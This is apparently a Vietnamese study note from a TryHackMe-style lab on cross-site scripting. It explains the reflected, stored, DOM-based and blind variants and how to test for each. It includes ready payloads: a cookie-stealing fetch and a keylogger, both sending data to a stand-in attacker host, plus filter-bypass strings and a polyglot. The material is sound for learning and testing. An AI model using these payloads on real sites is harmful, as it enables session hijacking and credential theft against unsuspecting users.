Cross-site Scripting (XXS)
Cross-site Scripting (XXS)
XXS Payloads
- Trong XSS, tải trọng là đoạn mã JavaScript mà chúng ta muốn thực thi trên máy tính của mục tiêu. Tải trọng bao gồm hai phần: Ý định và Sự điều chỉnh.
- Ý định là những gì bạn muốn mã JavaScript thực sự thực hiện (chúng ta sẽ xem xét với một số ví dụ bên dưới), và Sự điều chỉnh là những thay đổi đối với mã mà chúng ta cần thực hiện để nó có thể chạy được vì mỗi tình huống là khác nhau (sẽ nói thêm về điều này trong nhiệm vụ “hoàn thiện tải trọng” của bạn).
- Dưới đây là một số ví dụ về ý định của các cuộc tấn công XSS.
- Bằng chứng Khái niệm (Proof Of Concept): Đây là dạng tải trọng đơn giản nhất, khi bạn chỉ muốn chứng minh rằng mình có thể thực hiện được cuộc tấn công XSS trên một trang web. Việc này thường được thực hiện bằng cách làm cho một hộp cảnh báo (alert box) bật lên trên trang với một chuỗi văn bản, ví dụ:
<script>alert('XSS');</script>
- Đánh cắp Phiên (Session Stealing): Thông tin chi tiết về phiên của người dùng, chẳng hạn như token đăng nhập, thường được lưu giữ trong cookie trên máy của mục tiêu. Đoạn mã JavaScript bên dưới sẽ lấy cookie của mục tiêu, mã hóa base64 cookie đó để đảm bảo việc truyền đi thành công và sau đó gửi nó đến một website do kẻ tấn công kiểm soát để ghi lại. Một khi kẻ tấn công có được những cookie này, chúng có thể chiếm đoạt phiên của mục tiêu và đăng nhập với tư cách là người dùng đó.
<script>fetch('https://hacker.kok/steal?cookie=' + btoa(document.cookie));</script>
- Theo dõi Phím (Key Logger): Đoạn mã bên dưới hoạt động như một trình ghi phím. Điều này có nghĩa là bất cứ thứ gì bạn gõ trên trang web sẽ được chuyển tiếp đến một website do kẻ tấn công kiểm soát. Điều này có thể gây thiệt hại rất lớn nếu trang web bị cài đặt tải trọng này chấp nhận thông tin đăng nhập của người dùng hoặc chi tiết thẻ tín dụng.
<script>document.onkeypress = function(e) { fetch('https://hacker.kok/log?key=' + btoa(e.key) );}</script>
- Logic Nghiệp vụ (Business Logic): Tải trọng này cụ thể hơn nhiều so với các ví dụ trên. Nó liên quan đến việc gọi một tài nguyên mạng cụ thể hoặc một hàm JavaScript cụ thể. Ví dụ, hãy tưởng tượng một hàm JavaScript để thay đổi địa chỉ email của người dùng có tên là user.changeEmail(). Tải trọng của bạn có thể trông như thế này:
<script>user.changeEmail('attacker@hacker.kok');</script>
Reflected XSS
- Reflected XSS xảy ra khi dữ liệu do người dùng cung cấp trong một yêu cầu HTTP được đưa vào mã nguồn của trang web mà không có bất kỳ xác thực nào.
- Ví dụ về Tình huống: Một trang web nơi nếu bạn nhập đầu vào không chính xác, một thông báo lỗi sẽ được hiển thị. Nội dung của thông báo lỗi được lấy từ tham số error trong chuỗi truy vấn và được xây dựng trực tiếp vào mã nguồn của trang. Ứng dụng không kiểm tra nội dung của tham số error, điều này cho phép kẻ tấn công chèn mã độc hại. Lỗ hổng này có thể được sử dụng theo kịch bản trong hình dưới đây:
- Tác động Tiềm năng:
- Kẻ tấn công có thể gửi các liên kết hoặc nhúng chúng vào một iframe trên một website khác có chứa tải trọng JavaScript đến các nạn nhân tiềm năng, khiến họ thực thi mã trên trình duyệt của mình, có thể làm lộ thông tin phiên hoặc thông tin khách hàng.
- Cách kiểm tra Reflected XSS:
- Bạn cần kiểm tra mọi điểm đầu vào có thể; chúng bao gồm:
- Các tham số trong Chuỗi Truy vấn URL (Parameters in the URL Query String)
- Đường dẫn Tệp URL (URL File Path)
- Đôi khi là các Tiêu đề HTTP (Sometimes HTTP Headers) (mặc dù trên thực tế khó có thể khai thác)
Stored XSS
- Như tên gọi ám chỉ, tải trọng XSS được lưu trữ trên ứng dụng web (ví dụ: trong cơ sở dữ liệu) và sau đó được chạy khi những người dùng khác truy cập vào trang web hoặc trang đó.
- Ví dụ về Tình huống:
- Một trang web blog cho phép người dùng đăng bình luận. Thật không may, những bình luận này không được kiểm tra xem có chứa JavaScript hay không hoặc không lọc ra bất kỳ mã độc hại nào. Nếu bây giờ chúng ta đăng một bình luận có chứa JavaScript, nó sẽ được lưu trữ trong cơ sở dữ liệu và mọi người dùng khác truy cập vào bài viết đó sẽ bị chạy mã JavaScript trong trình duyệt của họ.
- Tác động Tiềm năng:
- JavaScript độc hại có thể chuyển hướng người dùng đến một trang web khác, đánh cắp cookie phiên của người dùng hoặc thực hiện các hành động trên website khác trong khi mạo danh người dùng đang truy cập.
- Cách kiểm tra XSS Lưu trữ:
- Bạn cần kiểm tra mọi điểm đầu vào có thể, nơi dữ liệu dường như được lưu trữ và sau đó hiển thị lại ở những khu vực mà người dùng khác có quyền truy cập; một vài ví dụ nhỏ về những điểm này có thể là:
- Bình luận trên blog
- Thông tin hồ sơ người dùng
- Các mục danh sách trên website
- Đôi khi các nhà phát triển nghĩ rằng việc giới hạn giá trị đầu vào ở phía máy khách là đủ để bảo vệ, vì vậy việc thay đổi các giá trị thành thứ gì đó mà ứng dụng web không mong đợi là một nguồn tốt để phát hiện Stored XSS. Ví dụ: một trường tuổi yêu cầu một số nguyên từ menu thả xuống, nhưng thay vào đó, bạn gửi thủ công yêu cầu thay vì sử dụng biểu mẫu, cho phép bạn thử các tải trọng độc hại.
- Một khi bạn đã tìm thấy một số dữ liệu được lưu trữ trong ứng dụng web, bạn sau đó cần xác nhận rằng bạn có thể chạy thành công tải trọng JavaScript của mình; tải trọng của bạn sẽ phụ thuộc vào vị trí trong ứng dụng mà mã của bạn được phản chiếu
XSS Dựa trên DOM (DOM Based XSS)
- DOM là gì?
- DOM là viết tắt của Document Object Model (Mô hình Đối tượng Tài liệu) và là một giao diện lập trình cho các tài liệu HTML và XML. Nó biểu diễn trang để các chương trình có thể thay đổi cấu trúc, phong cách và nội dung của tài liệu. Một trang web là một tài liệu và tài liệu này có thể được hiển thị hoặc trong cửa sổ trình duyệt hoặc dưới dạng mã nguồn HTML. Một sơ đồ của HTML DOM được hiển thị bên dưới:
- Nếu bạn muốn tìm hiểu thêm về DOM và có hiểu biết sâu sắc hơn, w3.org có một tài nguyên tuyệt vời.
- Khai thác DOM
- XSS Dựa trên DOM xảy ra khi việc thực thi JavaScript diễn ra trực tiếp trong trình duyệt mà không có bất kỳ trang mới nào được tải hoặc dữ liệu nào được gửi đến mã phía backend. Việc thực thi xảy ra khi mã JavaScript của website hoạt động dựa trên đầu vào hoặc tương tác của người dùng.
- Ví dụ về Tình huống:
- Mã JavaScript của trang web lấy nội dung từ tham số window.location.hash và sau đó ghi nội dung đó lên trang trong phần đang được xem. Nội dung của hash không được kiểm tra mã độc hại, cho phép kẻ tấn công tiêm mã JavaScript tùy ý của chúng lên trang web.
- Tác động Tiềm năng:
- Các liên kết được tạo công phu có thể được gửi đến các nạn nhân tiềm năng, chuyển hướng họ đến một website khác hoặc đánh cắp nội dung từ trang hoặc phiên của người dùng.
- Cách kiểm tra XSS Dựa trên DOM:
- XSS Dựa trên DOM có thể là một thách thức để kiểm tra và đòi hỏi một lượng kiến thức nhất định về JavaScript để đọc mã nguồn. Bạn cần tìm kiếm các phần của mã truy cập vào các biến nhất định mà kẻ tấn công có thể kiểm soát, chẳng hạn như các tham số “window.location.x”.
- Khi bạn đã tìm thấy những đoạn mã đó, bạn sau đó cần xem cách chúng được xử lý và liệu các giá trị có bao giờ được ghi vào DOM của trang web hoặc được chuyển đến các phương thức JavaScript không an toàn như eval() hay không.
XSS Mù (Blind XSS) tương tự như XSS Lưu trữ
- chỗ mã khai thác (payload) của bạn được lưu trữ trên trang web để người dùng khác xem, nhưng trong trường hợp này, bạn không thể thấy mã khai thác hoạt động hoặc không thể tự kiểm tra nó trên chính mình trước.
- Ví dụ Tình huống:
- Một trang web có biểu mẫu liên hệ nơi bạn có thể nhắn tin cho một thành viên trong nhân viên. Nội dung tin nhắn không được kiểm tra mã độc, cho phép kẻ tấn công nhập bất cứ thứ gì chúng muốn. Những tin nhắn này sau đó được chuyển thành các phiếu hỗ trợ (support tickets) mà nhân viên xem trên một cổng thông tin web riêng tư.
- Tác động Tiềm tàng:
- Sử dụng mã khai thác phù hợp, JavaScript của kẻ tấn công có thể thực hiện các cuộc gọi ngược (call back) đến website của kẻ tấn công, để lộ URL cổng thông tin nhân viên, cookie của nhân viên, và thậm chí cả nội dung của trang cổng thông tin đang được xem. Giờ đây, kẻ tấn công có khả năng chiếm đoạt phiên làm việc (session) của nhân viên và có quyền truy cập vào cổng thông tin riêng tư đó.
- Cách kiểm tra XSS Mù:
- Khi kiểm tra các lỗ hổng XSS Mù, bạn cần đảm bảo mã khai thác (payload) của bạn có một cuộc gọi lại (thường là một yêu cầu HTTP). Bằng cách này, bạn sẽ biết được liệu mã của bạn có đang được thực thi và khi nào thì nó được thực thi.
- Một công cụ phổ biến cho các cuộc tấn công XSS Mù là XSS Hunter Express. Mặc dù có thể tự tạo công cụ cho riêng mình bằng JavaScript, nhưng công cụ này sẽ tự động chặn bắt (capture) cookie, URL, nội dung trang và hơn thế nữa.
Perfecting your payload
- Mã khai thác (Payload) là đoạn mã JavaScript mà chúng ta muốn thực thi trên trình duyệt của người dùng khác hoặc như một bằng chứng để chứng minh lỗ hổng trên trang web.
- Mã khai thác của bạn có thể có nhiều mục đích, từ việc chỉ hiển thị hộp thông báo (alert) JavaScript để chứng minh chúng ta có thể thực thi JavaScript trên trang web mục tiêu, đến việc trích xuất thông tin từ trang web hoặc phiên (session) của người dùng.
- Cách mã khai thác JavaScript của bạn được phản ánh (reflect) trong mã code của trang web mục tiêu sẽ quyết định loại mã khai thác bạn cần sử dụng.
- Cấp độ Một: Bạn được trình bày một biểu mẫu yêu cầu nhập tên của bạn. Thay vì nhập tên, chúng ta sẽ thử nhập mã khai thác JavaScript sau:
<script>alert('THM');</script>
- Cấp độ Hai: Tên của bạn được phản ánh bên trong thẻ input. Chúng ta cần thoát khỏi thẻ input trước để mã khai thác có thể chạy. Sử dụng mã khai thác:
"><script>alert('THM');</script>
- Phần quan trọng là
">đóng tham sốvaluevà sau đó đóng thẻinput. - Cấp độ Ba: Tên của bạn được phản ánh bên trong thẻ
textarea. Sử dụng mã khai thác:
</textarea><script>alert('THM');</script>
- Phần quan trọng là
</textarea>khiến phần tửtextareađóng lại. - Cấp độ Bốn: Tên của bạn được phản ánh trong một đoạn mã JavaScript code. Bạn phải thoát lệnh JavaScript hiện có. Sử dụng mã khai thác:
';alert('THM');//
- Dấu
'đóng trường khai báo tên. - Dấu
;báo hiệu kết thúc lệnh hiện tại. //biến mọi thứ sau nó thành comment.- Cấp độ Năm: Từ
scriptbị lọc bỏ. Sử dụng kỹ thuật bypass:
<sscriptcript>alert('THM');</sscriptcript>
- Bộ lọc sẽ loại bỏ chuỗi
scriptđược tìm thấy, để lại chuỗi hợp lệ.
`<script>alert('THM');</script>`
- Cấp độ Sáu: Các ký tự
<và>bị lọc. Sử dụng sự kiệnonloadcủa thẻIMG: Payload:
/images/cat.jpg" onload="alert('THM');
- Polyglots (Đa ngôn ngữ): Một XSS polyglot là một chuỗi văn bản có thể đồng thời thoát thuộc tính, thoát thẻ và vượt qua bộ lọc chỉ trong một payload. Ví dụ:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e